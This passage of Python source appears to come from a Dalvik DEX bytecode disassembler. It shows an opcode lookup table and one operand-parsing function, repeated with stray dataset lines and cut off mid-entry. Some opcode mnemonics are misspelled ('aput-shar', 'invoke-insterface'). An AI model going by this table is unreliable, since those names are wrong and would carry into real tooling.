'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT30T(buffer, dex_object, pc_point, offset): aaaaaaaa, = struct.unpack_from("i", buffer, 2) return dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "+%x" % (aaaaaaaa + offset)
null
17,384
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 